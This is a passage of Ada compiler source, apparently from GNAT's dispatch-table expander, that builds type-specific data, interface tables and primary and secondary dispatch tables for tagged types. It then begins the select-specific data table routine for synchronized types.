Components_List => Dummy_Object_Ifaces_Comp_List,
Tags_List => Dummy_Object_Ifaces_Tag_List);
end if;
AI := First_Elmt (Typ_Ifaces);
while Present (AI) loop
if Is_Ancestor (Node (AI), Typ, Use_Full_View => True) then
Sec_DT_Tag := New_Occurrence_Of (DT_Ptr, Loc);
else
Elmt :=
Next_Elmt
(Next_Elmt (First_Elmt (Access_Disp_Table (Typ))));
pragma Assert (Has_Thunks (Node (Elmt)));
while Is_Tag (Node (Elmt))
and then not
Is_Ancestor (Node (AI), Related_Type (Node (Elmt)),
Use_Full_View => True)
loop
pragma Assert (Has_Thunks (Node (Elmt)));
Next_Elmt (Elmt);
pragma Assert (Has_Thunks (Node (Elmt)));
Next_Elmt (Elmt);
pragma Assert (not Has_Thunks (Node (Elmt)));
Next_Elmt (Elmt);
pragma Assert (not Has_Thunks (Node (Elmt)));
Next_Elmt (Elmt);
end loop;
pragma Assert (Ekind (Node (Elmt)) = E_Constant
and then not
Has_Thunks (Node (Next_Elmt (Next_Elmt (Elmt)))));
Sec_DT_Tag :=
New_Occurrence_Of
(Node (Next_Elmt (Next_Elmt (Elmt))), Loc);
end if;
-- Use the dummy object to compute Offset_To_Top of
-- components located at fixed position.
if Present (Dummy_Object) then
declare
Iface : constant Node_Id := Node (AI);
Iface_Comp : Node_Id := Empty;
Iface_Comp_Elmt : Elmt_Id;
Iface_Elmt : Elmt_Id;
begin
Iface_Elmt :=
First_Elmt (Dummy_Object_Ifaces_List);
Iface_Comp_Elmt :=
First_Elmt (Dummy_Object_Ifaces_Comp_List);
while Present (Iface_Elmt) loop
if Node (Iface_Elmt) = Iface then
Iface_Comp := Node (Iface_Comp_Elmt);
exit;
end if;
Next_Elmt (Iface_Elmt);
Next_Elmt (Iface_Comp_Elmt);
end loop;
pragma Assert (Present (Iface_Comp));
if not
Is_Variable_Size_Record (Etype (Scope (Iface_Comp)))
then
Offset_To_Top :=
Make_Op_Minus (Loc,
Make_Attribute_Reference (Loc,
Prefix =>
Make_Selected_Component (Loc,
Prefix =>
New_Occurrence_Of (Dummy_Object, Loc),
Selector_Name =>
New_Occurrence_Of (Iface_Comp, Loc)),
Attribute_Name => Name_Position));
else
Offset_To_Top := Make_Integer_Literal (Loc, 0);
end if;
end;
else
Offset_To_Top := Make_Integer_Literal (Loc, 0);
end if;
Append_To (TSD_Ifaces_List,
Make_Aggregate (Loc,
Expressions => New_List (
-- Iface_Tag
Unchecked_Convert_To (RTE (RE_Tag),
New_Occurrence_Of
(Node (First_Elmt (Access_Disp_Table (Node (AI)))),
Loc)),
-- Static_Offset_To_Top
New_Occurrence_Of (Standard_True, Loc),
-- Offset_To_Top_Value
Offset_To_Top,
-- Offset_To_Top_Func
Make_Null (Loc),
-- Secondary_DT
Unchecked_Convert_To (RTE (RE_Tag), Sec_DT_Tag))));
Next_Elmt (AI);
end loop;
Name_ITable := New_External_Name (Tname, 'I');
ITable := Make_Defining_Identifier (Loc, Name_ITable);
Set_Is_Statically_Allocated (ITable,
Is_Library_Level_Tagged_Type (Typ));
-- The table of interfaces is constant if we are building a
-- static dispatch table; otherwise is not constant because
-- its slots are filled at run time by the IP routine.
Append_To (Result,
Make_Object_Declaration (Loc,
Defining_Identifier => ITable,
Aliased_Present => True,
Constant_Present => Building_Static_Secondary_DT (Typ),
Object_Definition =>
Make_Subtype_Indication (Loc,
Subtype_Mark =>
New_Occurrence_Of (RTE (RE_Interface_Data), Loc),
Constraint =>
Make_Index_Or_Discriminant_Constraint (Loc,
Constraints => New_List (
Make_Integer_Literal (Loc, Num_Ifaces)))),
Expression =>
Make_Aggregate (Loc,
Expressions => New_List (
Make_Integer_Literal (Loc, Num_Ifaces),
Make_Aggregate (Loc, TSD_Ifaces_List)))));
Iface_Table_Node :=
Make_Attribute_Reference (Loc,
Prefix => New_Occurrence_Of (ITable, Loc),
Attribute_Name => Name_Unchecked_Access);
end;
end if;
Append_To (TSD_Aggr_List, Iface_Table_Node);
end if;
-- Generate the Select Specific Data table for synchronized types that
-- implement synchronized interfaces. The size of the table is
-- constrained by the number of non-predefined primitive operations.
if RTE_Record_Component_Available (RE_SSD) then
if Ada_Version >= Ada_2005
and then Has_DT (Typ)
and then Is_Concurrent_Record_Type (Typ)
and then Has_Interfaces (Typ)
and then Nb_Prim > 0
and then not Is_Abstract_Type (Typ)
and then not Is_Controlled (Typ)
and then not Restriction_Active (No_Dispatching_Calls)
and then not Restriction_Active (No_Select_Statements)
then
Append_To (Result,
Make_Object_Declaration (Loc,
Defining_Identifier => SSD,
Aliased_Present => True,
Object_Definition =>
Make_Subtype_Indication (Loc,
Subtype_Mark => New_Occurrence_Of (
RTE (RE_Select_Specific_Data), Loc),
Constraint =>
Make_Index_Or_Discriminant_Constraint (Loc,
Constraints => New_List (
Make_Integer_Literal (Loc, Nb_Prim))))));
Append_To (Result,
Make_Attribute_Definition_Clause (Loc,
Name => New_Occurrence_Of (SSD, Loc),
Chars => Name_Alignment,
Expression =>
Make_Attribute_Reference (Loc,
Prefix =>
New_Occurrence_Of (RTE (RE_Integer_Address), Loc),
Attribute_Name => Name_Alignment)));
-- This table is initialized by Make_Select_Specific_Data_Table,
-- which calls Set_Entry_Index and Set_Prim_Op_Kind.
Append_To (TSD_Aggr_List,
Make_Attribute_Reference (Loc,
Prefix => New_Occurrence_Of (SSD, Loc),
Attribute_Name => Name_Unchecked_Access));
else
Append_To (TSD_Aggr_List, Make_Null (Loc));
end if;
end if;
-- Initialize the table of ancestor tags. In case of interface types
-- this table is not needed.
TSD_Tags_List := New_List;
-- If we are not statically allocating the dispatch table then we must
-- fill position 0 with null because we still have not generated the
-- tag of Typ.
if not Building_Static_DT (Typ)
or else Is_Interface (Typ)
then
Append_To (TSD_Tags_List,
Unchecked_Convert_To (RTE (RE_Tag),
New_Occurrence_Of (RTE (RE_Null_Address), Loc)));
-- Otherwise we can safely reference the tag
else
Append_To (TSD_Tags_List,
New_Occurrence_Of (DT_Ptr, Loc));
end if;
-- Fill the rest of the table with the tags of the ancestors
declare
Current_Typ : Entity_Id;
Parent_Typ : Entity_Id;
Pos : Nat;
begin
Pos := 1;
Current_Typ := Typ;
loop
Parent_Typ := Etype (Current_Typ);
if Is_Private_Type (Parent_Typ) then
Parent_Typ := Full_View (Base_Type (Parent_Typ));
end if;
exit when Parent_Typ = Current_Typ;
if Is_CPP_Class (Parent_Typ) then
-- The tags defined in the C++ side will be inherited when
-- the object is constructed (Exp_Ch3.Build_Init_Procedure)
Append_To (TSD_Tags_List,
Unchecked_Convert_To (RTE (RE_Tag),
New_Occurrence_Of (RTE (RE_Null_Address), Loc)));
else
Append_To (TSD_Tags_List,
New_Occurrence_Of
(Node (First_Elmt (Access_Disp_Table (Parent_Typ))),
Loc));
end if;
Pos := Pos + 1;
Current_Typ := Parent_Typ;
end loop;
pragma Assert (Pos = I_Depth + 1);
end;
Append_To (TSD_Aggr_List,
Make_Aggregate (Loc,
Expressions => TSD_Tags_List));
-- Build the TSD object
Append_To (Result,
Make_Object_Declaration (Loc,
Defining_Identifier => TSD,
Aliased_Present => True,
Constant_Present => Building_Static_DT (Typ),
Object_Definition =>
Make_Subtype_Indication (Loc,
Subtype_Mark => New_Occurrence_Of (
RTE (RE_Type_Specific_Data), Loc),
Constraint =>
Make_Index_Or_Discriminant_Constraint (Loc,
Constraints => New_List (
Make_Integer_Literal (Loc, I_Depth)))),
Expression => Make_Aggregate (Loc,
Expressions => TSD_Aggr_List)));
Set_Is_True_Constant (TSD, Building_Static_DT (Typ));
-- Initialize or declare the dispatch table object
if not Has_DT (Typ) then
DT_Constr_List := New_List;
DT_Aggr_List := New_List;
-- Typeinfo
New_Node :=
Make_Attribute_Reference (Loc,
Prefix => New_Occurrence_Of (TSD, Loc),
Attribute_Name => Name_Address);
Append_To (DT_Constr_List, New_Node);
Append_To (DT_Aggr_List, New_Copy (New_Node));
Append_To (DT_Aggr_List, Make_Integer_Literal (Loc, 0));
-- In case of locally defined tagged types we have already declared
-- and uninitialized object for the dispatch table, which is now
-- initialized by means of the following assignment:
-- DT := (TSD'Address, 0);
if not Building_Static_DT (Typ) then
Append_To (Result,
Make_Assignment_Statement (Loc,
Name => New_Occurrence_Of (DT, Loc),
Expression => Make_Aggregate (Loc, DT_Aggr_List)));
-- In case of library level tagged types we declare and export now
-- the constant object containing the dummy dispatch table. There
-- is no need to declare the tag here because it has been previously
-- declared by Make_Tags
-- DT : aliased constant No_Dispatch_Table :=
-- (NDT_TSD => TSD'Address;
-- NDT_Prims_Ptr => 0);
else
Append_To (Result,
Make_Object_Declaration (Loc,
Defining_Identifier => DT,
Aliased_Present => True,
Constant_Present => True,
Object_Definition =>
New_Occurrence_Of (RTE (RE_No_Dispatch_Table_Wrapper), Loc),
Expression => Make_Aggregate (Loc, DT_Aggr_List)));
Export_DT (Typ, DT);
end if;
-- Common case: Typ has a dispatch table
-- Generate:
-- Predef_Prims : Address_Array (1 .. Default_Prim_Ops_Count) :=
-- (predef-prim-op-1'address,
-- predef-prim-op-2'address,
-- ...
-- predef-prim-op-n'address);
-- DT : Dispatch_Table (Nb_Prims) :=
-- (Signature => <sig-value>,
-- Tag_Kind => <tag_kind-value>,
-- Predef_Prims => Predef_Prims'First'Address,
-- Offset_To_Top => 0,
-- TSD => TSD'Address;
-- Prims_Ptr => (prim-op-1'address,
-- prim-op-2'address,
-- ...
-- prim-op-n'address));
-- for DT'Alignment use Address'Alignment
else
declare
Nb_P_Prims : constant Nat := Number_Of_Predefined_Prims (Typ);
Prim_Table : array (Nat range 1 .. Nb_P_Prims) of Entity_Id;
Decl : Node_Id;
E : Entity_Id;
begin
Prim_Ops_Aggr_List := New_List;
Prim_Table := (others => Empty);
if Building_Static_DT (Typ) then
Prim_Elmt := First_Elmt (Primitive_Operations (Typ));
while Present (Prim_Elmt) loop
Prim := Node (Prim_Elmt);
if Is_Predefined_Dispatching_Operation (Prim)
and then not Is_Abstract_Subprogram (Prim)
and then not Is_Eliminated (Prim)
and then not Generate_SCIL
and then not Present (Prim_Table
(UI_To_Int (DT_Position (Prim))))
then
E := Ultimate_Alias (Prim);
pragma Assert (not Is_Abstract_Subprogram (E));
Prim_Table (UI_To_Int (DT_Position (Prim))) := E;
end if;
Next_Elmt (Prim_Elmt);
end loop;
end if;
for J in Prim_Table'Range loop
if Present (Prim_Table (J)) then
New_Node :=
Unchecked_Convert_To (RTE (RE_Prim_Ptr),
Make_Attribute_Reference (Loc,
Prefix =>
New_Occurrence_Of (Prim_Table (J), Loc),
Attribute_Name => Name_Unrestricted_Access));
else
New_Node := Make_Null (Loc);
end if;
Append_To (Prim_Ops_Aggr_List, New_Node);
end loop;
New_Node :=
Make_Aggregate (Loc,
Expressions => Prim_Ops_Aggr_List);
Decl :=
Make_Subtype_Declaration (Loc,
Defining_Identifier => Make_Temporary (Loc, 'S'),
Subtype_Indication =>
New_Occurrence_Of (RTE (RE_Address_Array), Loc));
Append_To (Result, Decl);
Append_To (Result,
Make_Object_Declaration (Loc,
Defining_Identifier => Predef_Prims,
Aliased_Present => True,
Constant_Present => Building_Static_DT (Typ),
Object_Definition =>
New_Occurrence_Of (Defining_Identifier (Decl), Loc),
Expression => New_Node));
-- Remember aggregates initializing dispatch tables
Append_Elmt (New_Node, DT_Aggr);
end;
-- Stage 1: Initialize the discriminant and the record components
DT_Constr_List := New_List;
DT_Aggr_List := New_List;
-- Num_Prims. If the tagged type has no primitives we add a dummy
-- slot whose address will be the tag of this type.
if Nb_Prim = 0 then
New_Node := Make_Integer_Literal (Loc, 1);
else
New_Node := Make_Integer_Literal (Loc, Nb_Prim);
end if;
Append_To (DT_Constr_List, New_Node);
Append_To (DT_Aggr_List, New_Copy (New_Node));
-- Signature
if RTE_Record_Component_Available (RE_Signature) then
Append_To (DT_Aggr_List,
New_Occurrence_Of (RTE (RE_Primary_DT), Loc));
end if;
-- Tag_Kind
if RTE_Record_Component_Available (RE_Tag_Kind) then
Append_To (DT_Aggr_List, Tagged_Kind (Typ));
end if;
-- Predef_Prims
Append_To (DT_Aggr_List,
Make_Attribute_Reference (Loc,
Prefix => New_Occurrence_Of (Predef_Prims, Loc),
Attribute_Name => Name_Address));
-- Offset_To_Top
Append_To (DT_Aggr_List, Make_Integer_Literal (Loc, 0));
-- Typeinfo
Append_To (DT_Aggr_List,
Make_Attribute_Reference (Loc,
Prefix => New_Occurrence_Of (TSD, Loc),
Attribute_Name => Name_Address));
-- Stage 2: Initialize the table of user-defined primitive operations
Prim_Ops_Aggr_List := New_List;
if Nb_Prim = 0 then
Append_To (Prim_Ops_Aggr_List, Make_Null (Loc));
elsif not Building_Static_DT (Typ) then
for J in 1 .. Nb_Prim loop
Append_To (Prim_Ops_Aggr_List, Make_Null (Loc));
end loop;
else
declare
CPP_Nb_Prims : constant Nat := CPP_Num_Prims (Typ);
E : Entity_Id;
Prim : Entity_Id;
Prim_Elmt : Elmt_Id;
Prim_Pos : Nat;
Prim_Table : array (Nat range 1 .. Nb_Prim) of Entity_Id;
begin
Prim_Table := (others => Empty);
Prim_Elmt := First_Elmt (Primitive_Operations (Typ));
while Present (Prim_Elmt) loop
Prim := Node (Prim_Elmt);
-- Retrieve the ultimate alias of the primitive for proper
-- handling of renamings and eliminated primitives.
E := Ultimate_Alias (Prim);
-- If the alias is not a primitive operation then Prim does
-- not rename another primitive, but rather an operation
-- declared elsewhere (e.g. in another scope) and therefore
-- Prim is a new primitive.
if No (Find_Dispatching_Type (E)) then
E := Prim;
end if;
Prim_Pos := UI_To_Int (DT_Position (E));
-- Skip predefined primitives because they are located in a
-- separate dispatch table.
if not Is_Predefined_Dispatching_Operation (Prim)
and then not Is_Predefined_Dispatching_Operation (E)
-- Skip entities with attribute Interface_Alias because
-- those are only required to build secondary dispatch
-- tables.
and then not Present (Interface_Alias (Prim))
-- Skip abstract and eliminated primitives
and then not Is_Abstract_Subprogram (E)
and then not Is_Eliminated (E)
-- For derivations of CPP types skip primitives located in
-- the C++ part of the dispatch table because their slots
-- are initialized by the IC routine.
and then (not Is_CPP_Class (Root_Type (Typ))
or else Prim_Pos > CPP_Nb_Prims)
-- Skip ignored Ghost subprograms as those will be removed
-- from the executable.
and then not Is_Ignored_Ghost_Entity (E)
then
pragma Assert
(UI_To_Int (DT_Position (Prim)) <= Nb_Prim);
Prim_Table (UI_To_Int (DT_Position (Prim))) := E;
end if;
Next_Elmt (Prim_Elmt);
end loop;
for J in Prim_Table'Range loop
if Present (Prim_Table (J)) then
New_Node :=
Unchecked_Convert_To (RTE (RE_Prim_Ptr),
Make_Attribute_Reference (Loc,
Prefix =>
New_Occurrence_Of (Prim_Table (J), Loc),
Attribute_Name => Name_Unrestricted_Access));
else
New_Node := Make_Null (Loc);
end if;
Append_To (Prim_Ops_Aggr_List, New_Node);
end loop;
end;
end if;
New_Node :=
Make_Aggregate (Loc,
Expressions => Prim_Ops_Aggr_List);
Append_To (DT_Aggr_List, New_Node);
-- Remember aggregates initializing dispatch tables
Append_Elmt (New_Node, DT_Aggr);
-- In case of locally defined tagged types we have already declared
-- and uninitialized object for the dispatch table, which is now
-- initialized by means of an assignment.
if not Building_Static_DT (Typ) then
Append_To (Result,
Make_Assignment_Statement (Loc,
Name => New_Occurrence_Of (DT, Loc),
Expression => Make_Aggregate (Loc, DT_Aggr_List)));
-- In case of library level tagged types we declare now and export
-- the constant object containing the dispatch table.
else
Append_To (Result,
Make_Object_Declaration (Loc,
Defining_Identifier => DT,
Aliased_Present => True,
Constant_Present => True,
Object_Definition =>
Make_Subtype_Indication (Loc,
Subtype_Mark => New_Occurrence_Of
(RTE (RE_Dispatch_Table_Wrapper), Loc),
Constraint => Make_Index_Or_Discriminant_Constraint (Loc,
Constraints => DT_Constr_List)),
Expression => Make_Aggregate (Loc, DT_Aggr_List)));
Export_DT (Typ, DT);
end if;
end if;
-- Initialize the table of ancestor tags if not building static
-- dispatch table
if not Building_Static_DT (Typ)
and then not Is_Interface (Typ)
and then not Is_CPP_Class (Typ)
then
Append_To (Result,
Make_Assignment_Statement (Loc,
Name =>
Make_Indexed_Component (Loc,
Prefix =>
Make_Selected_Component (Loc,
Prefix => New_Occurrence_Of (TSD, Loc),
Selector_Name =>
New_Occurrence_Of
(RTE_Record_Component (RE_Tags_Table), Loc)),
Expressions =>
New_List (Make_Integer_Literal (Loc, 0))),
Expression =>
New_Occurrence_Of
(Node (First_Elmt (Access_Disp_Table (Typ))), Loc)));
end if;
-- Inherit the dispatch tables of the parent. There is no need to
-- inherit anything from the parent when building static dispatch tables
-- because the whole dispatch table (including inherited primitives) has
-- been already built.
if Building_Static_DT (Typ) then
null;
-- If the ancestor is a CPP_Class type we inherit the dispatch tables
-- in the init proc, and we don't need to fill them in here.
elsif Is_CPP_Class (Parent_Typ) then
null;
-- Otherwise we fill in the dispatch tables here
else
if Typ /= Parent_Typ
and then not Is_Interface (Typ)
and then not Restriction_Active (No_Dispatching_Calls)
then
-- Inherit the dispatch table
if not Is_Interface (Typ)
and then not Is_Interface (Parent_Typ)
and then not Is_CPP_Class (Parent_Typ)
then
declare
Nb_Prims : constant Int :=
UI_To_Int (DT_Entry_Count
(First_Tag_Component (Parent_Typ)));
begin
Append_To (Elab_Code,
Build_Inherit_Predefined_Prims (Loc,
Old_Tag_Node =>
New_Occurrence_Of
(Node
(Next_Elmt
(First_Elmt
(Access_Disp_Table (Parent_Typ)))), Loc),
New_Tag_Node =>
New_Occurrence_Of
(Node
(Next_Elmt
(First_Elmt
(Access_Disp_Table (Typ)))), Loc),
Num_Predef_Prims =>
Number_Of_Predefined_Prims (Parent_Typ)));
if Nb_Prims /= 0 then
Append_To (Elab_Code,
Build_Inherit_Prims (Loc,
Typ => Typ,
Old_Tag_Node =>
New_Occurrence_Of
(Node
(First_Elmt
(Access_Disp_Table (Parent_Typ))), Loc),
New_Tag_Node => New_Occurrence_Of (DT_Ptr, Loc),
Num_Prims => Nb_Prims));
end if;
end;
end if;
-- Inherit the secondary dispatch tables of the ancestor
if not Is_CPP_Class (Parent_Typ) then
declare
Sec_DT_Ancestor : Elmt_Id :=
Next_Elmt
(Next_Elmt
(First_Elmt
(Access_Disp_Table
(Parent_Typ))));
Sec_DT_Typ : Elmt_Id :=
Next_Elmt
(Next_Elmt
(First_Elmt
(Access_Disp_Table (Typ))));
procedure Copy_Secondary_DTs (Typ : Entity_Id);
-- Local procedure required to climb through the ancestors
-- and copy the contents of all their secondary dispatch
-- tables.
------------------------
-- Copy_Secondary_DTs --
------------------------
procedure Copy_Secondary_DTs (Typ : Entity_Id) is
E : Entity_Id;
Iface : Elmt_Id;
begin
-- Climb to the ancestor (if any) handling private types
if Present (Full_View (Etype (Typ))) then
if Full_View (Etype (Typ)) /= Typ then
Copy_Secondary_DTs (Full_View (Etype (Typ)));
end if;
elsif Etype (Typ) /= Typ then
Copy_Secondary_DTs (Etype (Typ));
end if;
if Present (Interfaces (Typ))
and then not Is_Empty_Elmt_List (Interfaces (Typ))
then
Iface := First_Elmt (Interfaces (Typ));
E := First_Entity (Typ);
while Present (E)
and then Present (Node (Sec_DT_Ancestor))
and then Ekind (Node (Sec_DT_Ancestor)) = E_Constant
loop
if Is_Tag (E) and then Chars (E) /= Name_uTag then
declare
Num_Prims : constant Int :=
UI_To_Int (DT_Entry_Count (E));
begin
if not Is_Interface (Etype (Typ)) then
-- Inherit first secondary dispatch table
Append_To (Elab_Code,
Build_Inherit_Predefined_Prims (Loc,
Old_Tag_Node =>
Unchecked_Convert_To (RTE (RE_Tag),
New_Occurrence_Of
(Node
(Next_Elmt (Sec_DT_Ancestor)),
Loc)),
New_Tag_Node =>
Unchecked_Convert_To (RTE (RE_Tag),
New_Occurrence_Of
(Node (Next_Elmt (Sec_DT_Typ)),
Loc)),
Num_Predef_Prims =>
Number_Of_Predefined_Prims
(Parent_Typ)));
if Num_Prims /= 0 then
Append_To (Elab_Code,
Build_Inherit_Prims (Loc,
Typ => Node (Iface),
Old_Tag_Node =>
Unchecked_Convert_To
(RTE (RE_Tag),
New_Occurrence_Of
(Node (Sec_DT_Ancestor),
Loc)),
New_Tag_Node =>
Unchecked_Convert_To
(RTE (RE_Tag),
New_Occurrence_Of
(Node (Sec_DT_Typ), Loc)),
Num_Prims => Num_Prims));
end if;
end if;
Next_Elmt (Sec_DT_Ancestor);
Next_Elmt (Sec_DT_Typ);
-- Skip the secondary dispatch table of
-- predefined primitives
Next_Elmt (Sec_DT_Ancestor);
Next_Elmt (Sec_DT_Typ);
if not Is_Interface (Etype (Typ)) then
-- Inherit second secondary dispatch table
Append_To (Elab_Code,
Build_Inherit_Predefined_Prims (Loc,
Old_Tag_Node =>
Unchecked_Convert_To (RTE (RE_Tag),
New_Occurrence_Of
(Node
(Next_Elmt (Sec_DT_Ancestor)),
Loc)),
New_Tag_Node =>
Unchecked_Convert_To (RTE (RE_Tag),
New_Occurrence_Of
(Node (Next_Elmt (Sec_DT_Typ)),
Loc)),
Num_Predef_Prims =>
Number_Of_Predefined_Prims
(Parent_Typ)));
if Num_Prims /= 0 then
Append_To (Elab_Code,
Build_Inherit_Prims (Loc,
Typ => Node (Iface),
Old_Tag_Node =>
Unchecked_Convert_To
(RTE (RE_Tag),
New_Occurrence_Of
(Node (Sec_DT_Ancestor),
Loc)),
New_Tag_Node =>
Unchecked_Convert_To
(RTE (RE_Tag),
New_Occurrence_Of
(Node (Sec_DT_Typ), Loc)),
Num_Prims => Num_Prims));
end if;
end if;
end;
Next_Elmt (Sec_DT_Ancestor);
Next_Elmt (Sec_DT_Typ);
-- Skip the secondary dispatch table of
-- predefined primitives
Next_Elmt (Sec_DT_Ancestor);
Next_Elmt (Sec_DT_Typ);
Next_Elmt (Iface);
end if;
Next_Entity (E);
end loop;
end if;
end Copy_Secondary_DTs;
begin
if Present (Node (Sec_DT_Ancestor))
and then Ekind (Node (Sec_DT_Ancestor)) = E_Constant
then
-- Handle private types
if Present (Full_View (Typ)) then
Copy_Secondary_DTs (Full_View (Typ));
else
Copy_Secondary_DTs (Typ);
end if;
end if;
end;
end if;
end if;
end if;
-- Generate code to check if the external tag of this type is the same
-- as the external tag of some other declaration.
-- Check_TSD (TSD'Unrestricted_Access);
-- This check is a consequence of AI05-0113-1/06, so it officially
-- applies to Ada 2005 (and Ada 2012). It might be argued that it is
-- a desirable check to add in Ada 95 mode, but we hesitate to make
-- this change, as it would be incompatible, and could conceivably
-- cause a problem in existing Ada 95 code.
-- We check for No_Run_Time_Mode here, because we do not want to pick
-- up the RE_Check_TSD entity and call it in No_Run_Time mode.
-- We cannot perform this check if the generation of its expanded name
-- was discarded.
if not No_Run_Time_Mode
and then not Discard_Names
and then Ada_Version >= Ada_2005
and then RTE_Available (RE_Check_TSD)
and then not Duplicated_Tag_Checks_Suppressed (Typ)
then
Append_To (Elab_Code,
Make_Procedure_Call_Statement (Loc,
Name =>
New_Occurrence_Of (RTE (RE_Check_TSD), Loc),
Parameter_Associations => New_List (
Make_Attribute_Reference (Loc,
Prefix => New_Occurrence_Of (TSD, Loc),
Attribute_Name => Name_Unchecked_Access))));
end if;
-- Generate code to register the Tag in the External_Tag hash table for
-- the pure Ada type only.
-- Register_Tag (Dt_Ptr);
-- Skip this action in the following cases:
-- 1) if Register_Tag is not available.
-- 2) in No_Run_Time mode.
-- 3) if Typ is not defined at the library level (this is required
-- to avoid adding concurrency control to the hash table used
-- by the run-time to register the tags).
if not No_Run_Time_Mode
and then Is_Library_Level_Entity (Typ)
and then RTE_Available (RE_Register_Tag)
then
Append_To (Elab_Code,
Make_Procedure_Call_Statement (Loc,
Name =>
New_Occurrence_Of (RTE (RE_Register_Tag), Loc),
Parameter_Associations =>
New_List (New_Occurrence_Of (DT_Ptr, Loc))));
end if;
if not Is_Empty_List (Elab_Code) then
Append_List_To (Result, Elab_Code);
end if;
-- Populate the two auxiliary tables used for dispatching asynchronous,
-- conditional and timed selects for synchronized types that implement
-- a limited interface. Skip this step in Ravenscar profile or when
-- general dispatching is forbidden.
if Ada_Version >= Ada_2005
and then Is_Concurrent_Record_Type (Typ)
and then Has_Interfaces (Typ)
and then not Restriction_Active (No_Dispatching_Calls)
and then not Restriction_Active (No_Select_Statements)
then
Append_List_To (Result,
Make_Select_Specific_Data_Table (Typ));
end if;
-- Remember entities containing dispatch tables
Append_Elmt (Predef_Prims, DT_Decl);
Append_Elmt (DT, DT_Decl);
Analyze_List (Result, Suppress => All_Checks);
Set_Has_Dispatch_Table (Typ);
-- Mark entities containing dispatch tables. Required by the backend to
-- handle them properly.
if Has_DT (Typ) then
declare
Elmt : Elmt_Id;
begin
-- Object declarations
Elmt := First_Elmt (DT_Decl);
while Present (Elmt) loop
Set_Is_Dispatch_Table_Entity (Node (Elmt));
pragma Assert (Ekind (Etype (Node (Elmt))) = E_Array_Subtype
or else Ekind (Etype (Node (Elmt))) = E_Record_Subtype);
Set_Is_Dispatch_Table_Entity (Etype (Node (Elmt)));
Next_Elmt (Elmt);
end loop;
-- Aggregates initializing dispatch tables
Elmt := First_Elmt (DT_Aggr);
while Present (Elmt) loop
Set_Is_Dispatch_Table_Entity (Etype (Node (Elmt)));
Next_Elmt (Elmt);
end loop;
end;
end if;
<<Leave_SCIL>>
-- Register the tagged type in the call graph nodes table
Register_CG_Node (Typ);
<<Leave>>
Restore_Ghost_Region (Saved_GM, Saved_IGR);
return Result;
end Make_DT;
-------------------------------------
-- Make_Select_Specific_Data_Table --
-------------------------------------
function Make_Select_Specific_Data_Table
(Typ : Entity_Id) return List_Id
is
Assignments : constant List_Id := New_List;
Loc : constant Source_Ptr := Sloc (Typ);
Conc_Typ : Entity_Id;
Decls : List_Id := No_List;
Prim : Entity_Id;
Prim_Als : Entity_Id;
Prim_Elmt : Elmt_Id;
Prim_Pos : Uint;
Nb_Prim : Nat := 0;
type Examined_Array is array (Int range <>) of Boolean;
function Find_Entry_Index (E : Entity_Id) return Uint;
-- Given an entry, find its index in the visible declarations of the
-- corresponding concurrent type of Typ.
----------------------
-- Find_Entry_Index --
----------------------
function Find_Entry_Index (E : Entity_Id) return Uint is
Index : Uint := Uint_1;
Subp_Decl : Entity_Id;
begin
if Present (Decls)
and then not Is_Empty_List (Decls)
then
Subp_Decl := First (Decls);
while Present (Subp_Decl) loop
if Nkind (Subp_Decl) = N_Entry_Declaration then
if Defining_Identifier (Subp_Decl) = E then
return Index;
end if;
Index := Index + 1;
end if;
Next (Subp_Decl);
end loop;
end if;
return Uint_0;
end Find_Entry_Index;
-- Local variables
Tag_Node : Node_Id;
-- Start of processing for Make_Select_Specific_Data_Table
begin
pragma Assert (not Restriction_Active (No_Dispatching_Calls));
if Present (Corresponding_Concurrent_Type (Typ)) then
Conc_Typ := Corresponding_Concurrent_Type (Typ);
if Present (Full_View (Conc_Typ)) then
Conc_Typ := Full_View (Conc_Typ);
end if;
if Ekind (Conc_Typ) = E_Protected_Type then
Decls := Visible_Declarations (Protected_Definition (
Parent (Conc_Typ)));
else
pragma Assert (Ekind (Conc_Typ) = E_Task_Type);
Decls := Visible_Declarations (Task_Definition (
Parent (Conc_Typ)));
end if;
end if;
-- Count the non-predefined primitive operations
Prim_Elmt := First_Elmt (Primitive_Operations (Typ));
while Present (Prim_Elmt) loop
Prim := Node (Prim_Elmt);
if not (Is_Predefined_Dispatching_Operation (Prim)
or else Is_Predefined_Dispatching_Alias (Prim))
then
Nb_Prim := Nb_Prim + 1;
end if;
Next_Elmt (Prim_Elmt);
end loop;
declare
Examined : Examined_Array (1 .. Nb_Prim) := (others => False);
begin
Prim_Elmt := First_Elmt (Primitive_Operations (Typ));
while Present (Prim_Elmt) loop
Prim := Node (Prim_Elmt);
-- Look for primitive overriding an abstract interface subprogram
if Present (Interface_Alias (Prim))
and then not
Is_Ancestor
(Find_Dispatching_Type (Interface_Alias (Prim)), Typ,
Use_Full_View => True)
and then not Examined (UI_To_Int (DT_Position (Alias (Prim))))
then
Prim_Pos := DT_Position (Alias (Prim));
pragma Assert (UI_To_Int (Prim_Pos) <= Nb_Prim);
Examined (UI_To_Int (Prim_Pos)) := True;
-- Set the primitive operation kind regardless of subprogram
-- type. Generate:
-- Ada.Tags.Set_Prim_Op_Kind (DT_Ptr, <position>, <kind>);
if Tagged_Type_Expansion then
Tag_Node :=
New_Occurrence_Of
(Node (First_Elmt (Access_Disp_Table (Typ))), Loc);
else
Tag_Node :=
Make_Attribute_Reference (Loc,
Prefix => New_Occurrence_Of (Typ, Loc),
Attribute_Name => Name_Tag);
end if;
Append_To (Assignments,
Make_Procedure_Call_Statement (Loc,
Name => New_Occurrence_Of (RTE (RE_Set_Prim_Op_Kind), Loc),
Parameter_Associations => New_List (
Tag_Node,
Make_Integer_Literal (Loc, Prim_Pos),
Prim_Op_Kind (Alias (Prim), Typ))));
-- Retrieve the root of the alias chain
Prim_Als := Ultimate_Alias (Prim);
-- In the case of an entry wrapper, set the entry index
if Ekind (Prim) = E_Procedure
and then Is_Primitive_Wrapper (Prim_Als)
and then Ekind (Wrapped_Entity (Prim_Als)) = E_Entry
then
-- Generate:
-- Ada.Tags.Set_Entry_Index
-- (DT_Ptr, <position>, <index>);
if Tagged_Type_Expansion then
Tag_Node :=
New_Occurrence_Of
(Node (First_Elmt (Access_Disp_Table (Typ))), Loc);
else
Tag_Node :=
Make_Attribute_Reference (Loc,
Prefix => New_Occurrence_Of (Typ, Loc),
Attribute_Name => Name_Tag);
end if;
Append_To (Assignments,
Make_Procedure_Call_Statement (Loc,
Name =>
New_Occurrence_Of (RTE (RE_Set_Entry_Index), Loc),
Parameter_Associations => New_List (
Tag_Node,
Make_Integer_Literal (Loc, Prim_Pos),
Make_Integer_Literal (Loc,
Find_Entry_Index (Wrapped_Entity (Prim_Als))))));
end if;
end if;
